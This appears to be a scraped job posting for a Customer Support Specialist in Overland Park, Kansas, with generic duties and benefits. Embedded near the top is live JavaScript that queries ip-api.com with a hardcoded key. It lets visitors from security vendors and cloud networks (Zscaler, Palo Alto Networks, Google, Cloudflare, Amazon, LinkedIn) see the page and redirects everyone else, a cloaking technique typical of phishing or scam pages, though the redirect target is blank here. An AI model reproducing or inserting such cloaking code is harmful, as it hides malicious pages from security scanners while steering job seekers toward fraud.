Customer Support Specialist

Customer Support Specialist

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Support Specialist to join our team in Overland Park, Kansas.

In this role, you will

  • Provide exceptional support to customers via phone, email, and chat, addressing inquiries and resolving issues promptly
  • Assist with product and service information, troubleshooting, and account management
  • Document customer interactions accurately in our CRM system
  • Collaborate with team members to improve customer satisfaction and streamline support processes
  • Identify opportunities to enhance the customer experience and escalate complex issues as needed

Skills needed: excellent communication, problem-solving abilities, patience, adaptability, and a positive attitude.

Benefits include competitive pay, health insurance, retirement plans, paid time off, and professional development opportunities. Join us to make a difference in our customers' experience!

Emploment Location
Kansas, Overland Park

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